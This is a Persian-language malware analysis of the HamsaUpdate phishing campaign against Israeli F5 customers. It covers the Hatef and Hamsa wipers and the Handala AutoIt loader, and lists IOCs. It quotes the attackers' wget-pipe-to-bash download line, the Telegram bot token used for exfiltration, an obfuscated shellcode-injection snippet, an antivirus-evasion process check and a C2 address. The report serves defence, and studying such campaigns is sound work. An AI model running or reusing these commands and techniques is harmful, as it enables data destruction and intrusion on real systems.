19 دسامبر ، اداره ملی سایبری اسرائیل (INCD)، هشدار فوری در خصوص یه کمپین فیشینگ منتشر کرده که مشتریان اسرائیلی دستگاههای F5 رو هدف قرار میده.
محققای Intezer این کمپین رو آنالیز کردن و اسمش رو عملیات HamsaUpdate گذاشتن. در این عملیات یه بدافزار Wiper روی سیستم قربانی مستقر میشه که ، هم سرورهای ویندوزی و هم لینوکسی رو هدف قرار میده.
کل کمپین به این صورت هستش که مهاجمین یسری ایمیل فیشینگ با عنوان اصلاح آسیب پذیری حیاتی در محصولات F5 BIG-IP منتشر کردن و یسری بدافزار رو ضمیمه این ایمیلها کردن. دانلود و اجرای این ضمیمه ها، منجر به پاک شدن کل داده های قربانی میشه.
ایمیل ارسال شده که به زبان عبری نوشته شده، حاوی تکنیک های پیچیده مهندسی اجتماعی هستش ، تا قربانی رو قانع کنه ،کد های مخرب رو اجرا کنه. قسمت نهایی حمله یه لودر پیچیده و چند مرحله ای یا یه Wiper ارائه میده که هر دو پلتفرم ویندوز و لینوکس رو هدف قرار میده.
برای کمک و جلوگیری از گسترش اون، سازمان ملی سایبری اسرائیل ، یسری IOC از جمله برای بدافزارهای Wiper ،منتشر کرده.
محققا نسخه ویندوزی رو Hatef و نسخه ی لینوکسی رو Hamsa نامگذاری کردن. همچنین در طول فرایند آنالیز به یه لودر مرحله ی دوم رسیدن که با دلفی کدنویسی شده و یه AutoIt injector رو اجرا میکنه. اسم این injector رو هم Handala گذاشتن.
بردار آلودگی : ایمیلهای فیشینگ
حمله با ایمیلهای فیشینگ شروع میشه که به زبان عبری نوشته شده. با توجه به اینکه اغلب این ایمیلها دارای اشتباهات املایی یا گرامری میشن، اما این نمونه بی عیب و نقص بوده. همچنین سطح پیچیده ای از مهندسی اجتماعی رو شامل میشه و یه احساس اطمینان در قربانی ایجاد میکنه تا قانع بشه و دستورالعمل های ایمیل رو اجرا کنه.
موضوعی که مهاجمین با برجسته کردن اون در ایمیل خواستن سوء استفاده کنن، کشف آسیب پذیری اخیر در پلتفرم F5 BIG-IP بوده. BIG-IP یه نسخه ی پیشرفته از فناوری Application Delivery Controller (ADC) هستش که در زیرساخت شبکه ، خیلی از سازمانها مستقر شده. در این ایمیل فیشینگ بیان شده که محصول F5 BIG-IP دارای یه آسیب پذیری حیاتی هستش و ممکنه مهاجمین با اکسپلویت اون، به سازمان شما نفوذ و خساراتی وارد کنن و با تاکید بر فوریت موضوع، از گیرنده خواسته تا هرچه سریعنر دستورالعمل های مندرج در این ایمیل رو برای اصلاح آسیب پذیری اجرا کنن.
در این ایمیل از گیرنده درخواست شده برای حل مشکل، یه فایلی رو دانلود و روی همه ی سرورهای ویندوزی و لینوکسی، از جمله سرورهای بکآپ و محلی ، اجرا کنه . برای نسخه ی لینوکسی، درخواست شده حتی دستور wget رو با امتیاز Root اجرا کنن. برای نسخه ی ویندوزی از ادمینها خواسته شده تا فایل Zip رو دانلود و اجرا کنن.
استفاده مهاجم از یه آسیب پذیری در یه پلتفرم شناخته شده و قابل اعتماد و بکارگیری یه ارتباط متقاعد کننده ، نشون دهنده یه تکنیک پیشرفته برای به خطر انداخت شبکه قربانی توسط خودش هست.
هکتیویسم؟
یه گروه هکری بنام Handala Hack Team ، مسئولیت این حمله رو بعهده گرفته و خودش رو یه گروه طرفدار فلسطین معرفی کرده . یسری اکانت شبکه های اجتماعی از جمله در توییتر و تلگرام و TOX و BreachForums دارن. یه سایت هم راه اندازی کردن که بطور کامل بالا نیومده. این گروه از این اکانتها ، علاوه بر اینکه گزارشی از حمله اشون منتشر کردن ، INCD رو هم مسخره کردن. هدف از راه اندازی سایتشون مشخص نیست، اما احتمالا برای انتشار داده ها و اطلاعات در خصوص هکهاشون باشه.
احتمالا هدف این گروه از حضور در شبکه های اجتماعی ، جلب توجه و برجسته کردن هکهاشون هست. یه ویدیو هم ساخت که در اون آژانس های خبری اسرائیل و چهره های مشهور در صنعت امنیت سایبری رو تگ کردن. پستهاشون رو هم ،در همه ی شبکه های اجتماعی که حضور دارن، منتشر میکنن.
این گروه یه ایمیلی به اکانت توییتری DailyDarkWeb ارسال کرده و مدعی هدف قرار دادن نهادهای دولتی اسرائیل و از بین بردن 10 ترابایت داده در این سازمانها شده. البته هیچ مدرکی در این خصوص منتشر نکردن.
محققا به دلیل کمبود شواهد ، نتونستن این گروه رو به جایی انتساب کنن. البته یه تکنیکی هم وجود داره که در اون یه شخصیت جعلی ساخته میشه و یه سازمان دولتی پشت این شخصیت قرار میگیره تا نشون بده که پشت این هک یه گروه مستقل فعال قرار گرفته.
آنالیز فنی :
فایلهای نمونه این گزارش رو میتونید از گیتهاب ما ، با عنوان Operation HamsaUpdate ، برای آنالیز و بررسی بیشتر دانلود کنید.
لودر :
در این کمپین ،برای پلتفرم های ویندوزی ، دو نوع فایل ZIP شناخته شده ، ارائه شده. این دو فایل فشرده، حاوی یه فایل اجرایی بنام F5UPDATER.EXE هستن، که یه برنامه دات نتیه و بعنوان بروزرسان F5 ارائه میشه.
در هر دو مورد ، لودر در سی شارپ توسعه داده شده و از فضای نام یکسانی بنام SecureDeleteFiles و یه کلاس بنام FrmMain استفاده کرده. هر دو مورد حاوی یه progress bar (prgStatus) ، یه picture box (pictureBox1) ، یه label (label1) و یه button (btnDeleteAllFiles) هستش.
هر دو فایل ، Assembly رو از بخش Resource استخراج میکنن . پیلود در System32 نوشته و اجرا میشه.
تفاوت بین این دو فایل فشرده، در حجم پیلود هستش:
لودر (fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2) یه فایلی بنام Hatef.exe رو از قسمت resource استخراج میکنه که یه Wiper هستش.
لودر (ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a) ، دارای دو منبع هستش. یکی همون Hatef.exe و دیگری Handala.exe هستش که یه لودر مرحله ی دوم و در دلفی نوشته شده.
Handala (حنظله) یه شخصیت کارتونی هستش که توسط ناجی علی، کاریکاتوریست فلسطینی ترسیم شده و نماد مصور مردم فلسطین و نشانگر سرنوشت تلخ و اندوهبار آوارگان فلسطینی هستش. یه کودک ۱۰ ساله فلسطینیه که نخستین بار در سال ۱۹۶۹ در روزنامه کویتی السیاسة به تصویر کشیده شد.
لودر بعد از اجرا، در ابتدا بررسی میکنه که آیا نمونه ای از خودش در System32 هست یا نه. اگه موجود باشه، اونو حذف میکنه.
پیلود ویندوزی : Hatef Wiper
Wiper ویندوزی بصورت داخلی با نام فارسی هاتف شناخته میشه. در ابتدا نام پروسس خودش بدست میاره و در ادامه، اونو با اسم همه ی پروسس های دیگه ، به غیر از PID خودش ، بررسی میکنه. هدف از اینکار اینه که ، بطور همزمان فقط یه نمونه از بدافزار اجرا بشه. اگه نمونه ای از بدافزار در حال اجرا باشه، اقدامات بعدی متوقف و اجرای خودش رو خاتمه میده.
اگه نمونه ای نباشه، Hatef Wiper امتیازات Administrator رو بررسی میکنه. اگه امتیازات بالا رو نداشته باشه، Wiper یه پیام نشون میده و اعلام میکنه که برای بروزرسانی نیاز به امتیاز Administrator داره. تکنیکی که قربانی رو فریب میده تا امتیاز بالارو بهش بده.
در ادامه ،بررسی میکنه که آیا آرگومانهای خط فرمان بهش ارسال شده یا نه. اگه آرگومان ارسال شده با ConfirmDeleteFiles مطابقت نداشته باشه، با فریبندگی بیشتر ،یه پیام بروزرسانی برای کاربر نمایش میده تا اونو تایید کنه، اگه کاربر تایید کنه یا آرگومان درست ارسال بشه، بدافزار پیام The system has been successfully updated! رو مبنی بر بروزرسانی درست ارسال میکنه.
در ادامه بدافزار، یه کلاس جدید بنام Service رو ایجاد و متد Run اونو اجرا میکنه. اینجاست که منطق اصلی Wiper فعال میشه و لیستی از دایرکتوریها و فولدرها در قسمتهای مختلف سیستم مانند Users ، Program Files ، Windows جمع آوری میکنه.
برنامه از متد OverwriteFileBlockAndDelete برای بازنویسی فایلها با بلاک های 4096 بایتی از داده های تصادفی ، و در ادامه حذف اونها ، استفاده میکنه. بازنویسی فایل و بعدش حذف اون، باعث میشه تا در صورتی که فایل ریکاوری بشه، به دلیل بازنویسی فایل قبل از حذف، فایلهای ریکاوری شده هم به درد نخورن. فایلهایی که در طول فرایند بدافزار اجرا میشن یا در دستگاهی بنام HANDALA اجرا بشن، از فرایند پاک شدن، حذف میشن. Handala احتمالا نام منابع و احتمالا نام دستگاه توسعه دهنده هستش. اگه فایلی به دلیل خطا ، بازنویسی نشه، در به لیست دیگه ای بنام filesOtherDrives قرار میگیره تا در دفعات بعدی دوباره بررسی بشه.
شکل زیر پیاده سازی OverwriteFileBlockAndDelete رو نشون میده :
بدافزار همه ی مسیرهای کلیدی در همه درایورهای فعال رو پاک میکنه از جمله Users ، Program Files ، Program Files (x86) ، Windows . از متد ProcessDirectory برای شمارش همه ی فایلهای موجود در این مسیرها بصورت بازگشتی (recursively) استفاده میکنه. وقتی فایلهای داخل دایرکتوری حذف شدن، برای پاک کردن خود دایرکتوریها از متدی با املای غلط DeleteDrirectorys استفاده میکنه.
بدافزار بطور دوره ای پیشرفت های عملکرد خودش ، احتمالا برای مطلع کردن کنترل کننده هاش از وضعیت عملکردش ، و همچنین بعد از اتمام کار، به یه چت تلگرام ارسال میکنه.
اطلاعاتی که ارسال میشه، شامل : IP سیستم آلوده، Hostname ، Timestamp و تعداد فایلهایی که حذف نشده و در مسیرهای حیاتی ویندوز مانند Windows و Program Files هستن. ارسال تعداد فایلهای حذف نشده، یه استراتژی هستش که به مهاجم این امکان رو میده تا حمله اش رو بررسی کنه و برای اثر بخشی بیشتر حمله ، بروزرسانی هایی رو انجام بده.
شکل زیر آنالیز Hatef Wiper رو نمایش میده .
پیلود لینوکسی : Hamsa Wiper
آنالیز اسکریپت دانلود شده برای پلتفرم لینوکس ، یه پیلود مبهم رو نشون میده که 5 بار با Base64 انکد شده و با استفاده از دستور eval اجرا میشه. محققا بعد از دیکد کردن این اسکریپت متوجه شدن که یه اسکریپت Bash دارن که برای پاک کردن داده ها توسعه داده شده. به دلیل اینکه اسکریپت 5 بار با Base64 انکد شده، محققا اسمش رو Hamsa گذاشتن که به معنی 5 در عربی هستش.
1 |
wget -O - https://sjc1.vultrobjects.com/f5update/update.sh | bash |
اسکریپت با جا زدن خودش بعنوان یه بروزرسانی برای محصول F5 و در ادامه تاخیر 30 دقیقه ای ، قربانی رو فریب میده. بعد از این تاخیر، اسکریپت، بررسی میکنه که توزیع مورد استفاده ، توزیهایی مانند Red Hat ، Ubuntu و Debian هست یا نه. همچنین ابزارهای مورد نیاز برای ادامه فرایند مانند xfsprogs ، wipe و parted ، که برای پاک کردن مطمئن داده ها، دستکاری پارتیش بندی دیسک هستن رو، بی سر و صدا نصب میکنه.
همانند نسخه ی ویندوزی، این بدافزار هم داده ها رو به همون کانال تلگرامی انتقال میده. اطلاعات ارسالی همون داده هایی هست که در نسخه ی ویندوزی ارسال میشن اما جزییات خاص دیگه ای ،مانند نام درایور سیستم و اطلاعات فضای دیسک رو هم ارسال میکنه.
داده ها برای درک ساده تر توسط مهاجم، از هدر و جداکننده های مناسب استفاده میکنن. همچنین ساختاری مانند فرمت لاگ ها دارن تا مهاجم تاثیر نفوذ خودش رو ارزیابی و ردیابی کنه.
اسکریپت همه ی کاربرانی که شناسه اشون بالاتر از 999 هستش رو شمارش میکنه و همه ی این اکانتها و فایلهای مرتبط با اونا رو از طریق دستور wipe و پاک کردن دایرکتوری Home کاربران انجام میده.
اسکریپت یه تابعی بنام remove_os_file داره، که برای حذف فایلهای مهم سیستمی در پوشه های اصلی، مانند /bin, /sbin, /usr/bin و /usr/sbin، مورد استفاده قرار میگیره. نکته جالب اینکه فایلهای ریبوت و حذف کردن مانند ابزارها و دستورات reboot و rm رو حذف نمیکنه که نشون دهنده مورد نیاز بودن این فایلها برای ادامه فرایند هستش.
در ادامه همه ی پارتیشنهای مانت شده به غیر از پارتیشن root رو، unmount میکنه و یه جدول پارتیشن جدید GPT ایجاد میکنه. یه پارتیشن جدید ایجاد میکنه و یکپارچگی اونو با ابزار parted بررسی میکنه و partprobe رو برای بازخوانی جدول پارتیشن اجرا میکنه. در نهایت پارتیشن جدید ایجاد شده رو با سیستم فایل XFS فرمت میکنه و همه داده های باقی مونده در این پارتیشن رو حذف میکنه.
بعد از پاک سازی موفقیت آمیز داده ها، اسکریپت دوباره سراغ تابع send_telegram_message میره تا پیام تکمیل فرایند پاکسازی رو ارسال کنه. در نهایت اسکریپت تابع remove_os_file رو برای حذف باینری های سیستمی اجرا میکنه. بعدش سیستم رو ریبوت میکنه تا تغییرات بطور کامل اعمال بشن و عدم بازیابی داده ها تضمین و سیستم غیرقابل استفاده بشه.
زیرساخت :
در هر دو نسخه ی ویندوزی و لینوکسی ، بدافزار اطلاعات رو به تلگرام ارسال میکنه که شناسه ی بات و کانال در هر دو مورد یکسانه.
1 2 3 |
Bot Id: 6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA Channel Id: 6932028002 |
لودر دلفی : Handala
همونطور که قبلا گفته شد، یکی از لودرها، یه لودر مرحله ی دومی رو بنام Handala اجرا میکنه که در دلفی توسعه داده شده. منطق اصلی لودر در تابع PixLawsuit پیاده سازی شده. لودر رشته های خودش رو با روش ساده ی، استفاده از عمل ADD مبهم میکنه.
Handala در ابتدا یه اسکریپت مبهم شده بنام Closest رو اجرا میکنه. هدف این اسکریپت شناسایی محصولات امنیتی هستش که فرایند اجرای بدافزار رو مختل میکنه. برای این کار هم لیست پروسس ها رو لیست میکنه و با دستور findstr دنبال پروسس های مرتبط با محصولات امنیتی میگرده.
1 2 3 4 |
tasklist findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" findstr /I "wrsa.exe" |
بعدش Handala محتویات فایلهای Bw و Vessels و Boy و Conventions رو در یه فایلی بنام Naples.pif میریزه و اونو در یه فولدر که برای این منظور ساخته قرار میده. همچنین محتویات فایلهای Beastiality و Bicycle و Employee رو در یه فایل دیگه بنام k میریزه و اونم در همون فولدر قرار میده. در ادامه فایل Naples.pif رو اجرا میکنه و فایل k رو بعنوان آرگومان به اون میده.
1 2 3 4 5 6 7 |
cmd.exe 1428 cmd /c mkdir 30828 cmd.exe 792 cmd /c copy /b Bw + Vessels + Boy + Conventions 30828\Naples.pif cmd.exe 2788 cmd /c copy /b Beastiality + Bicycle + Employee 30828\k Naples.pif 30828\Naples.pif 30828\k |
در حقیقت فایل Naples.pif یه AutoIt interpreter تغییر نام داده شده هستش. پسوند pif (Program Information File) یه فرمت فایلی بود که در ویندوزهای قدیمی مورد استفاده قرار میگرفت و استفاده از اون اینجا برای استتار بدافزار هستش.
خود لودر AutoIt ابزار جدیدی نیستش و توسط سایر بازیگران تهدید هم استفاده میشه. اما استفاده ی از یه اسکریپت مبهم شده ی AutoIt بعنوان یه آرگومان، نشون دهنده یه تهدید پیچیده هستش.
در این نمونه ا،سکریپت مبهم شده و شامل فراخوانی توابع اضافی و رشته های بی معنی هستش. هر رشته از طریق یه فرایند ساده انکدینگ ، مبهم شده.
فرایند دیکد کردن ،برعکس لودر Delphi هستش و از عمل SUB استفاده میکنه. برای دیکد کردن رشته ها ابتدا باید کاراکتر ^ رو حذف کرد. بعدش مقدار هر کاراکتر موجود در رشته مبهم رو از مقدار پارامتر دوم ارائه شده به تابع STAFFING کم میکنن.
1 |
$testamentquartermechanicsmechanical = DllStructCreate(STAFFING("107^130^125^110^100",45/5) & BinaryLen($ProminentTechrepublicDamageSkype) & STAFFING("93",0/9), DllCall(STAFFING("116^110^123^119^110^117^60^59^55^109^117^117",81/9), STAFFING("116^120^118",16/4), STAFFING("92^111^120^122^123^103^114^71^114^114^117^105",24/4), STAFFING("116^120^118",16/4), 0, STAFFING("122^113^116^115^108^100^117^121^119",10/2), BinaryLen($ProminentTechrepublicDamageSkype), STAFFING("100^119^111^114^100",0/2), 0x00001000, STAFFING("100^119^111^114^100",0/2), 0x00000040)[0]) |
شکل زیر دیکد شده ی اسکریپت AutoIt رو نمایش میده :
بعد از اجرا، هدف اصلی اسکریپت تزریق شلکدی هستش که کارش رمزگشایی پیلود مرحله ی بعدی هستش که با RC4 رمز شده. شکل زیر این شلکد رو نمایش میده :
بعد از دیکد کردن، با استفاده از RtlDecompressFragment ، از حالت فشرده خارج میکنه. الگوریتم استفاده شده LZNT1 هستش. براساس exif ،نام محصول و توضیحات FlashDevelop هستش که محققا هم از این نام استفاده کردن.
هدف FlashDevelop آنپک کردن و اجرای بیشتر شلکد در dialer.exe و dllhost.exe هستش. کد تزریق شده به dllhost ، با سرور C2 از طریق HTTPS و IP:31.192.237[.]207:2515 ارتباط میگیره. موقعیت جغرافیایی IP مرتبط با Chelyabinsk در روسیه هستش. بعدش کد به پروسس Windows Media Player تزریق میشه. فایل اجرایی مورد استفاده ، هربار متفاوت هستش. (wmpshare.exe, wmpenc.exe, wmlaunch.exe و … )
شکل زیر خروجی Process Hacker در طول اجرای شلکد رو نمایش میده.
IOCهای گزارش :
31.192.237[.]207:2515
https://sjc1.vultrobjects.com/f5update/update[.]sh
SHA256 | Type | Filename |
fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2 | Windows Executable.NET | F5UPDATER.exe |
ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a | Windows Executable.NET | F5UPDATER.exe |
e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35 | Windows Executable.NET | Hatef.exe |
454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567 | Windows ExecutableDelphi | Handala.exe |
6f79c0e0e1aab63c3aba0b781e0e46c95b5798b2d4f7b6ecac474b5c40b840ad | Encrypted bash script | update.sh |
ad66251d9e8792cf4963b0c97f7ab44c8b68101e36b79abc501bee1807166e8a | ZIP | |
64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c | ZIP | |
336167b8c5cfc5cd330502e7aa515cc133656e12cbedb4b41ebbf847347b2767 | Windows Executable | FlashDevelop |
f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3 | AutoIt Interpreter | Naples.pif |
aae989743dddc84adef90622c657e45e23386488fa79d7fe7cf0863043b8acd4 | Obfuscated AutoIt Script | k |
8f69c9bb80b210466b887d2b16c68600
8bdd1cb717aa2bd03c12c8b4c9df2d94